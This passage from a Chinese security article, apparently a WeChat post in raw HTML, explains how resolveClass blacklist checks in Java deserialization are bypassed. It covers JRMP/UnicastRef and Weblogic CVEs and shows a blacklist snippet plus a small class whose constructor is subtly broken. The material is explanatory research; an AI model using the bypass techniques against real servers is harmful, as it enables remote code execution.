stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">package</span></span><span leaf=""> org.springframework.kafka.support.serializer;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">import</span></span><span leaf=""> java.io.Serializable;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">import</span></span><span leaf=""> java.util.Set;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">public</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> class</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> DeserializationException</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> implements</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> Serializable</span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    private</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> static</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> final</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> long</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> serialVersionUID</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> =</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 8280022391259546509L</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    private</span></span><span leaf=""> Object gadget;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    public</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> DeserializationException</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">(Object set)</span></span><span leaf=""> {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 166, 87);"><span leaf=""><br/></span><span leaf="">        this</span></span><span leaf="">.gadget = gadget;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">resolveClass 检测断链：二次反序列化与自定义类加载</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">resolveClass</span></code><span leaf=""> 的检测机制是在类描述符解析阶段触发的，这种逐层套娃式的检查链条在某些情况下会被中断。</span></p><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);border-image: initial;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0px 12px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 18px;font-weight: bold;color: rgb(63, 63, 63);border-radius: 6px;line-height: 2.4em;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">JRMP/UnicastRef 绕过</span></h3><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">一个经典例子就是 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">JRMP</span></code><span leaf=""> 反序列化中的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">UnicastRef</span></code><span leaf=""> 绕过思路：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">static</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    proxyBlackList.add(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#34;java.rmi.registry&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    classBlackList.add(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#34;sun.rmi.server.UnicastRef&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">@Override</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""> // java.io.ObjectInputStream</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">protected</span></span><span leaf=""> Class&lt;?&gt; resolveClass(ObjectStreamClass desc)</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> throws</span></span><span leaf=""> IOException, ClassNotFoundException {</span><span leaf=""><br/></span><span leaf="">    Iterator&lt;String&gt; it = classBlackList.iterator();</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    while</span></span><span leaf=""> (it.hasNext()) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">        String</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> s</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> =</span></span><span leaf=""> it.next();</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">        if</span></span><span leaf=""> (desc.getName().contains(s)) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">            throw</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> new</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> ClassNotFoundException</span></span><span leaf="">(s);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 166, 87);"><span leaf=""> super</span></span><span leaf="">.resolveClass(desc);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">UnicastRef</span></code><span leaf=""> 重写了</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">readExternal</span></code><span leaf="">方法，而</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">java.rmi.server.RemoteObject</span></code><span leaf="">的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">readObject</span></code><span leaf="">会调用该方法。由于</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">resolveClass</span></code><span leaf="">在检查到</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">RemoteObject</span></code><span leaf="">不在黑名单后，将调用其</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">readObject</span></code><span leaf="">。此时内部还没有来得及对</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">UnicastRef</span></code><span leaf="">进行检查就会执行</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">readExternal</span></code><span leaf=""> ，检测链条被切断，从而实现了绕过。</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009225" data-ratio="1.2050251256281408" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-type="png" data-w="995" src="https://wechat2rss.xlab.app/img-proxy/?k=17266fd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLkFfgLexr15YicQmqEVibWf3ZlFGRpDL7t1N9SGHWTlxkdCzx5NbPww91ib8wx2RZSVsqLggYz6Pcv11d5Nlm7wW2Y6saRCeHc2w8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);border-image: initial;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0px 12px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 18px;font-weight: bold;color: rgb(63, 63, 63);border-radius: 6px;line-height: 2.4em;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">Weblogic 历史上的多次绕过</span></h3><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Weblogic T3/IIOP</span></code><span leaf=""> 反序列化漏洞绕过史上，类似的场景屡见不鲜，比如：</span></p><ul style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px 0px 0px 1.5em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);list-style: none;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2016-0638</span></code><span leaf=""> ：</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">MarshalledObject.resolveClass</span></code><span leaf=""> 函数将加载字节数组 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">objBytes</span></code><span leaf=""> 然后调用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">readObject</span></code><span leaf=""> 进行二次反序列化，这种机制会跳过外层过滤。</span></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2020-14841</span></code><span leaf=""> ：</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">RemoteConstructor.readResolve</span></code><span leaf=""> 内部存在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">defineClass</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">createInstance</span></code><span leaf=""> 过程，通过自定义类加载实现 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> 的过程完全不受 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">resolveClass</span></code><span leaf=""> 过滤机制的影响。</span></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• ...</span></p></li></ul><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);border-image: initial;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0px 12px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 18px;font-weight: bold;color: rgb(63, 63, 63);border-radius: 6px;line-height: 2.4em;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">CVE-2023-31099 合法的二次反序列化</span></h3><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: 